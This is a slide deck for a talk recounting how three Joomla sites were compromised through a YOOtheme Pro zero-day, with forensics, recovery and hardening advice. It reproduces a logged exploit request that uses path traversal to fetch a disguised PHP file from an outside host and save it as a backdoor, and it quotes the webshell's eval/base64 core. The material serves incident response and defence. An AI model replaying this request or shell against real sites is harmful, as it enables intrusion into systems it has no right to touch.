Hacked before the patch: 3 Joomla sites, 1 zero-day, and how I got them back

<section data-background="images/hacked-before-the-patch/hacked-before-the-patch.jpg" data-state="frontpage">
<div class="titlepanel">
<div class="atitle2">
    <div class="atitle" style="font-size:200% !important"><span class="db8orange">Hacked before the patch</span></div>
        <br>
        <span class="apage1" style="font-style:italic;">3 Joomla sites, 1 zero-day, and how I got them back</span>
        <br><br><br><br>
        <span class="apage1">by Peter Martin / <a href="https://db8.nl" target="_blank">db8.nl</a></span>
        <br>
        <span class="apage1">slides: <a href="https://petermartin.nl" target="_blank">https://petermartin.nl</a></span>
        <style>.atitle{text-shadow: 2px 2px 2px #000;}
        .atitle2{text-shadow: 2px 2px 2px #000;}
        .titlepanel {
            background-color: rgba(0, 0, 0, 0.65);
            padding: 20px 40px;
            border-radius: 12px;
            display: inline-block;
        }
        </style>
        <div style="margin: 0 auto;">
        <a href="https://db8.nl" title="Joomla Specialist db8 Nijmegen" target="_blank">
            <img height="50" style="border:0;background:transparent;margin-right:20px;
            box-shadow: 0 0 0 rgba(0, 0, 0, 0.15);" src="images/db8-logo.svg" alt="db8">
        </a>
    </div>
</div>
</div>

---

<div style="position:relative;height:600px;">
<div class="sheet">Thursday 22 October, 17:55</div>
</div>

Note:
Cold open. Tell it like a story: an ordinary Thursday, routine maintenance on dosba.nl, a cup of coffee. Then something on the server looks wrong. Pause here before you go on.

----

### Something is wrong

Routine maintenance on <span class="db8orange">dosba.nl</span>

<ul>
<li class="fragment">PHP files in <code>/images/</code></li>
<li class="fragment">Strange folders in the webroot: <code>4f76f/</code>, <code>54fa3/</code>, <code>28711/</code></li>
<li class="fragment">Files called <code>adman.271.txt</code></li>
<li class="fragment">A <code>robots.txt</code> I did not write</li>
</ul>

<br>

**My website had been hacked. For 33 hours already.**

</span>

Note:
33 hours: from 21 Oct 08:44 (backdoor placed) to 22 Oct 17:55 (discovered).

----

### Spoiler

<table class="distrotable">
<thead><tr><th>Site</th><th>Server</th><th>Result</th></tr></thead>
<tbody>
<tr class="hit"><td>dosba.nl</td><td>nginx</td><td>hacked (found Thursday)</td></tr>
<tr class="hit"><td>petermartin.nl</td><td>nginx</td><td>hacked (found Sunday)</td></tr>
<tr class="hit"><td>linuxgids.nl</td><td>OpenLiteSpeed</td><td>hacked (found Sunday)</td></tr>
<tr class="patch"><td>dutchpoultrycentre.nl</td><td>nginx</td><td>attacked 99 times, <strong>not</strong> hacked</td></tr>
</tbody>
</table>

<br>

Same vulnerability. Same day. <span class="db8orange">Different timing.</span>

</span>

Note:
Give away the ending on purpose: the talk is not "whodunnit" but "how". The 4th site is the one that explains everything: same server as petermartin.nl, but it was patched in time.

----

### Overview

1. Locked out
2. The zero-day
3. What they did with it
4. It's not one site...
5. The lucky one
6. Getting them back
7. Lessons
8. Check your own site
9. Questions?

---

<div style="position:relative;height:600px;">
<div class="sheet">Part 1: Locked out</div>
</div>

----

### First reaction: panic

The day before, <span class="db8orange">PHP2Shell</span> was published...<br>
Do they have root?

</span>

No. It was <span class="db8orange">fail2ban</span>.<br>
It blocked <em>my own</em> IP after many FTP connections.

</span>

<br>

**Good news: the server works as configured.**

</span>

Note:
The LUG audience will laugh here. The lesson: your own security tools also hit you. Know how to unban yourself, and have a second way in (the hosting provider's console).

----

### Is the server itself compromised?

<span class="tag linux">🐧 Linux</span>

```bash
# am I banned?
$ sudo fail2ban-client status sshd
$ sudo fail2ban-client set sshd unbanip 203.0.113.10

# who logged in?
$ last -a | head
$ sudo journalctl -u ssh --since "2026-10-20"

# anything that survives a reboot?
$ sudo crontab -l; crontab -l -u siteuser
$ cat ~siteuser/.ssh/authorized_keys /root/.ssh/authorized_keys
```

No extra SSH logins, no new cron jobs, no unknown keys.<br>
**The attackers stayed inside the website user.**

</span>

----

### First response:<br>contain, don't clean

1. <span class="db8orange">Move</span> all hacked files and folders to <code>/old</code>, <code>chmod 000</code>
2. Put up a static <span class="db8orange">maintenance page</span>
3. Copy <span class="db8orange">all log files</span> to my local machine

<br>

Don't delete anything yet.<br><span class="db8orange">The evidence is in the files and the logs.</span>

</span>

Note:
chmod 000 does not stop the owner, so /old must be removed from the server later. But at this point, the goal is: stop it running, keep the evidence.

---

----

### YOOtheme Pro image processing

<table class="distrotable">
<tbody>
<tr><td>Product</td><td>YOOtheme Pro 5.x, image cache / resize</td></tr>
<tr><td>Vulnerable</td><td>5.0.0 to 5.0.52</td></tr>
<tr><td>Fixed</td><td><a href="https://www.cve.org/CVERecord?id=CVE-2026-102785" target="_blank" rel="noopener">CVE-2026-102785</a></td></tr>
<tr><td>CVE</td><td>CVE-2026-102785</td></tr>
<tr><td>Score</td><td><span class="db8orange">10 / 10</span></td></tr>
<tr><td>Login needed?</td><td><span class="db8orange">No</span></td></tr>
</tbody>
</table>

<br>

The attack came <span class="db8orange">before the fix existed</span>.<br>
Against a zero-day, only extra layers of security help.

</span>

----

### One request is all it takes

```text
GET /en/?option=com_ajax
    &p=/cache/../../../media/yootheme/cache/nonexist-adb6d400.tmp
    &src=images/focus-on/focus-on.jpg
    &thumbnail=600,860,
    &hash=e8b48824
    &FROMFILE=https://mathgals.com/pay_acc.jpg
    &SAVE=images/e2cf4cf4af66.php,jpeg
```

<ul>
<li class="fragment"><code>p=</code> path traversal with <code>../</code></li>
<li class="fragment"><code>hash=</code> copied from a <em>public</em> thumbnail URL on the site</li>
<li class="fragment"><code>FROMFILE=</code> "download this image from my server"</li>
<li class="fragment"><code>SAVE=</code> "and store it as <span class="db8orange">.php</span>"</li>
</ul>

Note:
The hash protects src and thumbnail, but not the extra parameters FROMFILE and SAVE. And the hash is in the HTML of every page with a resized image, so anyone can copy one.

----

### A JPEG that is also PHP

<code>pay_acc.jpg</code> is a valid image...<br>
with PHP hidden in the <span class="db8orange">Photoshop metadata</span>.

```php
// only runs when the secret cookie "d" is sent
eval(base64_decode($_REQUEST["id"]));
// ... plus a file upload form
```

Saved as <code>.php</code> in <code>/images/</code><br>
and <span class="db8orange">PHP was allowed to run there</span>.

</span>

**= full access to files and database**

</span>

----

### The error that lied

```text
08:13:26  GET /en/?option=com_ajax&...&SAVE=images/e2cf4cf4af66.php  -> 500
08:13:27  GET /images/e2cf4cf4af66.php                                -> 200
```

The exploit returned an <span class="db8orange">error</span>.<br>
But the file was written anyway.

</span>

**One second later: a working backdoor.**

</span>

Note:
Times in UTC from the nginx access log of petermartin.nl. If you only look at errors in your logs, you would think it failed.

----

### Wednesday 21 October

<table class="distrotable">
<thead><tr><th>Time</th><th>Event</th></tr></thead>
<tbody>
<tr class="hit"><td>08:44</td><td>dosba.nl: backdoor <code>images/4f0f3ba6454e.php</code></td></tr>
<tr class="hit"><td>09:35</td><td>linuxgids.nl: backdoor <code>images/38935e685167.php</code></td></tr>
<tr class="hit"><td>10:13</td><td>petermartin.nl: backdoor <code>images/e2cf4cf4af66.php</code></td></tr>
<tr><td>11:40, 13:00</td><td>Automatic Akeeba backups... <em>including the backdoor</em></td></tr>
<tr><td>~15:00</td><td>YOOtheme releases 5.0.53</td></tr>
<tr class="patch"><td>15:10 - 15:15</td><td>All my sites updated</td></tr>
<tr><td>evening</td><td>Backdoors used from many IP addresses</td></tr>
</tbody>
</table>

I updated within <span class="db8orange">15 minutes</span>. I was still <span class="db8orange">6 hours too late</span>.

</span>

Note:
Dutch time (CEST). YOOtheme even released an hour earlier than the planned 16:00. Nothing to blame them for; nothing to blame myself for. That is what a zero-day means.

----

### They knocked before

The <span class="db8orange">same scanner</span> had been <span class="db8orange">trying for weeks</span>:

<ul>
<li>JCE editor uploads (blocked: 403)</li>
<li>Astroid / Helix3 upload tricks (not installed)</li>
<li>SP Page Builder, Sourcerer (not installed)</li>
</ul>

linuxgids.nl, 27 September: a failed JCE attempt<br>
asked for <code>/images/38935e685167.php</code>

</span>

21 October: the <span class="db8orange">same filename</span>, now via YOOtheme.

</span>

<span class="db8orange">Not a targeted attack. A bot with a list of extensions.</span>

</span>

---

----

### Access for sale

Within hours, <span class="db8orange">4+ different IP addresses</span><br>
used the backdoor and wrote test files:

```text
adman.271.txt   ->  73441
adman.307.txt   ->  94249
adman.344.txt   ->  118336
adman.484.txt   ->  234256
```

271² = 73441. Write a file, read it back:<br>
"is this webroot writable?"

</span>

<span class="db8orange">Same filenames on all three sites.</span><br>
The access was shared or sold.

</span>

----

### A turf war on my server

On dosba.nl, at least <span class="db8orange">three groups</span>:

<ul>
<li class="fragment">Group 1: shells and an SEO spam script</li>
<li class="fragment">Group 2: its own webshell <code>images/upload.php</code></li>
<li class="fragment">Group 3: <span class="db8orange">deletes the others' shells</span> and installs its own</li>
</ul>

Collateral damage: 5 real library files emptied<br>
(Symfony, sodium_compat, tcpdf, Akeeba Kickstart)

</span>

Their <code>.htaccess</code>: block <em>all</em> PHP, except <code>index.php</code><br>
and <span class="db8orange">their own</span> shell names.

</span>

----

### Hiding in plain sight

<ul>
<li class="fragment">Doubled folders: <code>cache/cache/</code>, <code>includes/includes/</code>, <code>com_jedchecker/com_jedchecker/</code></li>
<li class="fragment">Payloads disguised as media: <code>.m3u8</code> <code>.mov</code> <code>.jp2</code> <code>.png</code> <code>.mp3</code></li>
<li class="fragment">PHP loaded from inside a zip: <code>zip://</code></li>
<li class="fragment">Encrypted code: <code>goto</code> spaghetti, hex escapes, <code>gzinflate(base64_decode(...))</code></li>
<li class="fragment">Fake dates: <code>touch(__FILE__, filemtime("admin.php"))</code></li>
<li class="fragment">linuxgids.nl: dates of <span class="db8orange">11,000 files</span> changed at once</li>
</ul>

**Sort by date? Won't help you.**

</span>

----

### 5,600 .htaccess files

<span class="tag linux">🐧 Linux</span>

```bash
$ find . -name .htaccess | wc -l
5612
```

Every folder got one. To block PHP from other attackers.

</span>

On <span class="db8orange">nginx</span>: `.htaccess` does <strong>nothing</strong>. 🙂

</span>

On <span class="db8orange">OpenLiteSpeed</span>: <code>RewriteRule</code> works,<br>
but <code>FilesMatch</code> / <code>Deny</code> are ignored.

</span>

<span class="db8orange">A normal Joomla site has a handful of htaccess files.</span><br>
Count yours!

</span>

----

### Why my sites?

<ul>
<li class="fragment"><span class="db8orange">SEO spam with cloaking</span>: Googlebot and Bingbot get a Japanese fake web shop, normal visitors see normal site</li>
<li class="fragment"><span class="db8orange">Spam e-mail</span>: Leaf PHPMailer and <code>mail()</code> relays, 1,117 POSTs from one IP (<code>personal-date.ru</code>)</li>
<li class="fragment"><span class="db8orange">Reselling access</span> to other groups</li>
</ul>

<br>

**They weren't after my content.**<br>
<span class="db8orange">They were after my domain's reputation.</spam>

</span>

Note:
An old domain that Google trusts ranks spam faster than a new domain. Mail from an existing server with an existing domain passes spam filters more easily.

----

### What Google saw

```text
https://dosba.nl/?woord/123456789012
https://dosba.nl/?c=a8f3k2m9x1q7
https://petermartin.nl/goods/...
https://petermartin.nl/detail/15109226
https://petermartin.nl/hg/
```

<ul>
<li class="fragment">dosba.nl: ~800 spam URLs crawled</li>
<li class="fragment">petermartin.nl: <code>/goods/</code> alone crawled 2,733 times</li>
<li class="fragment"><code>robots.txt</code> pointed to a spam sitemap: <code>inx_sitemap.xml</code></li>
</ul>

<span class="db8orange">You don't see it in your browser.</span><br>
**Only Google does...**

</span>

---

----

### Sunday 25 October

dosba.nl was clean again. Now <span class="db8orange">check everything else</span>.

<ul>
<li class="fragment"><span class="db8orange">petermartin.nl</span>: hacked, the same shells</li>
<li class="fragment"><span class="db8orange">linuxgids.nl</span>: hacked, on another server</li>
<li class="fragment">dutchpoultrycentre.nl: attacked, but clean</li>
</ul>

<br>

**If one site is hacked through an extension,<br>check every site with that extension.**

</span>

----

### The <span class="db8orange">file</span> that <span class="db8orange">kept coming back</span>

petermartin.nl: I remove the hacked <code>index.php</code>...

<ul>
<li class="fragment"><code>mv index.php index.php.hacked</code> → it's back</li>
<li class="fragment"><code>chmod 000 index.php</code> → it's back, as <code>-r--r--r--</code></li>
<li class="fragment">delete again → it's back</li>
</ul>

No web request in the log at that moment.<br>
<span class="db8orange">Something is running on the server.</span>

</span>

----

### Hunting the guard process

<span class="tag linux">🐧 Linux</span>

```bash
$ ps -u petermartinuser -o pid,lstart,cmd
    PID  STARTED                   CMD
3330455  Thu Oct 22 06:33:28 2026  php -f /tmp/httpd.conf

$ ls -l /proc/3330455/cwd
... -> /home/petermartinuser/webapps/petermartin/<shell folder>
```

A PHP script,<br>
disguised as an <span class="db8orange">Apache config file</span>,<br>
running for <span class="db8orange">3 days</span><br>
as the website user.

</span>

----

### Freeze, collect, kill

<span class="tag linux">🐧 Linux</span>

```bash
$ kill -STOP 3330455               # freeze, don't kill yet
$ mkdir /root/forensics && cd /root/forensics
$ cp /tmp/httpd.conf .
$ tr '\0' '\n' < /proc/3330455/environ > environ.txt
$ ls -l /proc/3330455/fd > fd.txt
$ kill -9 3330455
$ rm /tmp/httpd.conf
```

Then check: only php-fpm,<br>the systemd session<br>and my SFTP session are left.

</span>

----

### What the guard did

<span class="tag linux">🐧 Linux</span>

```text
while (true) {
    if (index.php or .htaccess is missing or changed) {
        write the malicious version back
        chmod 0444
    }
    sleep(a few seconds)
}
```

<code>set_time_limit(0)</code> + <code>ignore_user_abort(true)</code>: it never stops.

</span>

Note:
Same user as the website, so file permissions cannot stop it: whatever you open with chmod, it closes again. First stop the process, then clean up. Started via 57562/filefuns.php on 22 Oct.

----

### linuxgids.nl

<ul>
<li class="fragment"><code>index.php</code> replaced by a <span class="db8orange">spam proxy</span>: fetches pages from <code>hwb379v15.teleon.today</code></li>
<li class="fragment">Images, CSS, fonts pass through, so the site looks normal</li>
<li class="fragment">Mail scripts: 390+ successful calls, dating spam</li>
<li class="fragment"><code>images/.email_errors.log</code>: some mail bounced</li>
<li class="fragment">Sunday 18:07: the site gives a <span class="db8orange">500</span>. That was me: I had moved all files to another folder</li>
<li class="fragment">But <code>index.php</code>, <code>.htaccess</code> and an "image" with executable code <span class="db8orange">came back</span></li>
</ul>

<span class="db8orange">Another guard process.</span><br>
A different server, <span class="db8orange">the same playbook.</span>

</span>

---

<div style="position:relative;height:600px;">
<div class="sheet">Part 5: The lucky one</div>
</div>

----

### dutchpoultrycentre.nl

Same server as petermartin.nl. Same YOOtheme.

<table class="distrotable">
<tbody>
<tr class="patch"><td>21 Oct 15:11</td><td>updated to YOOtheme 5.0.53</td></tr>
<tr><td>22 Oct 23:35</td><td>first exploit attempt: <strong>32 hours later</strong></td></tr>
<tr><td>99 attempts, 22 IPs</td><td>90× 400, 8× 404, 1× 200 (an existing logo)</td></tr>
<tr><td>JCE, Astroid, SP PB</td><td>~54,000 requests in one morning: failed</td></tr>
<tr><td>admin login</td><td>~37,750 password guesses: all failed</td></tr>
</tbody>
</table>

<br>

**Same hole. Same patch. Different timing.**

</span>

Note:
The one 200 response looked scary in the log. But it was 8,374 bytes: exactly the size of the existing logo webp, served as a static file by nginx. PHP never ran.

----

### How do you know you're clean?

<span class="tag joomla">Joomla</span>

<ul>
<li>Core files vs a pristine Joomla package: <span class="db8orange">0 changed</span></li>
<li>Akeeba Backup file lists of 13 and 21 Oct compared:<br>only 2 language files and 3 real uploads</li>
<li>No PHP in <code>images/</code>, <code>media/</code>, <code>tmp/</code></li>
<li>No request to a planted file got a 200</li>
<li>Uptime monitor: homepage size stable all month</li>
</ul>

<span class="db8orange">"Looks fine" is not evidence.</span><br>
Compare it.

</span>

---

<div style="position:relative;height:600px;">
<div class="sheet">Part 6: Getting them back</div>
</div>

----

### Don't clean. Rebuild.

Dozens of backdoors, faked dates, encrypted code,<br>
thousands of changed files...

Cleaning file by file: <span class="db8orange">you will miss one</span>.

</span>

And one is enough.

</span>

----

### Which backup is clean?

<table class="distrotable">
<thead><tr><th>Backup</th><th>Status</th></tr></thead>
<tbody>
<tr class="hit"><td>21 Oct 13:00 / 01:00</td><td>contains the backdoor</td></tr>
<tr class="patch"><td>13 Oct</td><td>8 days before the break-in: clean</td></tr>
</tbody>
</table>

<br>

The Akeeba backup log lists every file in the archive.<br>
<code>grep</code> it for the backdoor name.

</span>

**A backup made just after a break-in is already infected.**

</span>

----

### Restoring with Akeeba

<span class="tag joomla">Joomla</span>

<ul>
<li>Restore <span class="db8orange">locally</span> first (Docker, Kickstart + ANGIE)</li>
<li>Switch cache handler Redis → file to make it run locally</li>
<li>Articles published after 13 Oct: copy them back by hand</li>
<li>Update Joomla, YOOtheme, JCE, Akeeba, YourSites client</li>
<li>Remove leftovers: <code>configuration.bak.php</code>, old plugin registrations</li>
<li>New backup of the clean, updated site</li>
</ul>

----

### The recovery steps

1. <span class="db8orange">Evidence</span>: hacked site + logs copied, offline
2. <span class="db8orange">Analyse</span> locally: logs (Nov 2025 - Oct 2026), files
3. <span class="db8orange">Compare</span> with a clean Joomla 6.2.0 package
4. <span class="db8orange">Restore</span> the clean backup into an <strong>empty</strong> webroot
5. <span class="db8orange">Update</span> everything <em>before</em> going live
6. <span class="db8orange">Verify</span>: core identical, no PHP in <code>/images/</code>, no unknown users, no world-writable files
7. <span class="db8orange">Rotate all secrets</span>

Note:
Empty webroot: otherwise the read-only 0444 files and hidden folders of the attacker survive the restore.

----

### Rotate everything

The shells could read <code>configuration.php</code>.

<ul>
<li class="fragment">New <span class="db8orange">database credentials</span>:<br>
database user, password <strong>and table prefix</strong></li>
<li class="fragment">New <span class="db8orange">Joomla secret</span></li>
<li class="fragment">New <span class="db8orange">Akeeba secret word</span></li>
<li class="fragment">New <span class="db8orange">FTP / SFTP passwords</span></li>
<li class="fragment">New <span class="db8orange">YourSites token</span></li>
<li class="fragment">New <span class="db8orange">SMTP password</span></li>
</ul>

**If it was on the server, the attacker might have it.**

</span>

----

### Cleaning up Google

Spam URLs: answer <span class="db8orange">410 Gone</span>, not a <code>robots.txt</code> block

<span class="tag linux">🐧 Linux</span>

```nginx
# nginx, dosba.nl
if ($args ~* "^([a-z-]+/[0-9]{8,}|c=[a-z0-9]{10,})$") {
    return 410;
}
location = /inx_sitemap.xml { return 410; }
```

```apache
# .htaccess, linuxgids.nl (OpenLiteSpeed)
RewriteCond %{QUERY_STRING} ^([a-z-]+/[0-9]{8,}|c=[a-z0-9]{10,})$ [NC]
RewriteRule ^ - [G,L]
```

<code>robots.txt</code> blocks Google<br>from seeing that the page is gone.

</span>

----

### Search Console & Bing

<span class="tag joomla">Joomla</span>

<ul>
<li class="fragment">Remove <span class="db8orange">unknown owners</span> and unknown sitemaps</li>
<li class="fragment">Removals → <em>Remove all URLs with this prefix</em></li>
<li class="fragment">petermartin.nl: <span class="db8orange">82 prefixes</span>, found in Search Console <em>and</em> in the access log (Googlebot's crawled paths)</li>
<li class="fragment">No bulk upload... so: browser automation</li>
<li class="fragment">Same in Bing Webmaster Tools</li>
<li class="fragment">Expect <span class="db8orange">2 to 8 weeks</span> to clean up</li>
</ul>

Note:
Check Settings → Users and permissions: unknown owners and unknown sitemaps showed up. Remove those first.

----

### Reputation check

<table class="distrotable">
<thead><tr><th>Check</th><th>Result</th></tr></thead>
<tbody>
<tr><td>MXToolbox, 60 IP blacklists</td><td>0 listings</td></tr>
<tr><td>MXToolbox, domain</td><td>0 listings</td></tr>
<tr><td>Spamhaus DBL</td><td>no issues</td></tr>
<tr><td>SURBL / URIBL</td><td>not listed</td></tr>
</tbody>
</table>

<br>

Lucky. A lot of the spam mail bounced.

</span>

---

<div style="position:relative;height:600px;">
<div class="sheet">Part 7: Lessons</div>
</div>

----

### Up to date is not enough

I updated within 15 minutes of the release.

</span>

<div class="big">An update does not remove backdoors.</div>

</span>

<br>

**Assume the next zero-day. Build layers.**

</span>

----

### Layer 1: no PHP in upload folders

<span class="tag linux">🐧 Linux</span>

```nginx
# nginx: in the server block, before the php location
location ~* ^/(images|media|cache|tmp)/.*\.(php|phtml|phar)$ {
    deny all;
}
```

This alone would have made all three backdoors <span class="db8orange">useless</span>.

</span>

On nginx: in the <strong>server config</strong>, <code>.htaccess</code> doesn't work.<br>
On OpenLiteSpeed: use a <code>RewriteRule</code>.

</span>

----

### Layer 2: limit the damage

<span class="tag linux">🐧 Linux</span>

<ul>
<li>Folders <code>755</code>, files <code>644</code>, <code>configuration.php</code> <code>444</code></li>
<li>No world-writable files: <code>find . -perm -o+w</code></li>
<li><span class="db8orange">disable_functions</span>: <code>exec, shell_exec, system, passthru, proc_open, popen</code></li>
<li><code>open_basedir</code>: only the webroot and its tmp</li>
<li><span class="db8orange">One system user per site</span> (RunCloud does this)</li>
</ul>

The attackers never left <code>petermartinuser</code>.<br>
**dutchpoultrycentre.nl was next door, and untouched.**

</span>

----

### Layer 3: detect faster

<ul>
<li class="fragment">Alert on <span class="db8orange">new .php files</span> anywhere outside the core</li>
<li class="fragment">Compare core checksums with the official package</li>
<li class="fragment">WAF rule: <code>../</code> or external URLs in query parameters</li>
<li class="fragment">Monitor the homepage <span class="db8orange">size</span>, not only the status</li>
<li class="fragment">Check <code>site:yourdomain.com</code> in Google</li>
</ul>

<span class="db8orange">Now hack found</span>:<br>dosba.nl: <span class="db8orange">33 hours</span>. petermartin.nl, linuxgids.nl: <span class="db8orange">4 days</span>.

</span>

----

### Layer 4: logs & backups that go back far enough

<ul>
<li class="fragment">Keep <span class="db8orange">months</span> of access logs (I had Nov 2025 - Oct 2026)</li>
<li class="fragment">Keep backups from <span class="db8orange">weeks</span> ago, not only the last 3 days</li>
<li class="fragment">Keep them <span class="db8orange">off the server</span></li>
</ul>

Without the logs: no break-in time.<br>
Without the break-in time: no idea which backup is clean.

</span>

----

### Layer 5: the boring basics

<span class="tag joomla">Joomla</span>

<ul>
<li>Automatic security updates for CMS + extensions (YourSites)</li>
<li><span class="db8orange">MFA</span> for all administrators</li>
<li>Remove old administrator accounts</li>
<li>Hide <code>/administrator</code> (AdminExile)<br>and rate-limit logins (fail2ban)</li>
<li>User Actions Log with IP logging</li>
</ul>

---

<div style="position:relative;height:600px;">
<div class="sheet">Check your own site. Tonight.</div>
</div>

----

### Do you run YOOtheme Pro 5?

<span class="tag linux">🐧 Linux</span>

```bash
# 1. was the exploit tried, and did it work?
$ zgrep -hE "FROMFILE=|SAVE=" access.log* | awk '{print $9}' | sort | uniq -c

# 2. PHP where it doesn't belong
$ find images media cache tmp -name "*.ph*"

# 3. how many .htaccess files?
$ find . -name .htaccess | wc -l

# 4. weird folders in the webroot
$ ls -d */ | grep -E '^[0-9a-f]{5}/$'

# 5. compare index.php and robots.txt with a clean package
$ diff index.php ~/joomla-6.2.0/index.php
```

And in Google: <code>site:yourdomain.com</code>

</span>

Note:
A 200 or 500 response on a FROMFILE request before the update is the alarm bell. 400 means the patched version rejected it.

----

### Hacked? Then...

1. Take the site <span class="db8orange">offline</span>
2. <span class="db8orange">Save</span> the files and logs
3. Look for <span class="db8orange">running processes</span> of the site user
4. Restore a verified backup from <span class="db8orange">before</span> the break-in,<br>into an empty webroot
5. Update everything, rotate all secrets
6. Clean up Google and Bing

----

### And the GDPR?

<ul>
<li class="fragment">Unauthorised access to <span class="db8orange">personal data</span> = data breach</li>
<li class="fragment">Controller: assess and report within <span class="db8orange">72 hours</span></li>
<li class="fragment">Processor (you, for a client): inform the client <span class="db8orange">immediately</span></li>
</ul>

My sites held no personal data, so no report was needed.<br>
**Your client's webshop is a different story.**

</span>

---

### Recap

<table class="distrotable">
<tbody>
<tr><td>4 sites</td><td>3 hacked, 1 patched in time</td></tr>
<tr><td>1 request</td><td>no login, no password</td></tr>
<tr><td>6 hours</td><td>between the first break-in and the patch</td></tr>
<tr><td>3+ groups</td><td>fighting over my servers</td></tr>
<tr><td>5 days</td><td>from break-in to clean sites</td></tr>
<tr><td>1 server rule</td><td>no PHP in <code>/images/</code> would have stopped it</td></tr>
</tbody>
</table>

<br>

**Up to date is not enough. Build layers.**

</span>

---

<div style="position:relative;height:600px;">
<div class="sheet">Questions?</div>
</div>

Note:
Questions to prepare for:
- "Why didn't YOOtheme catch this?" → every product has bugs; the fix came fast. The question is what your server does when the next one hits.
- "Would a WAF have stopped it?" → probably, with a rule for external URLs or ../ in query parameters.
- "Why not just clean the files?" → faked dates, encrypted code, a guard process. You will miss one.

----

### Read more

The full story, with all the checks:

<a href="https://db8.nl/en/blog/joomla-website-hacked-yootheme-pro-security-vulnerability" target="_blank">db8.nl/en/blog/joomla-website-hacked-yootheme-pro-security-vulnerability</a>

<br>

Slides: <a href="https://petermartin.nl" target="_blank">petermartin.nl</a>

</section>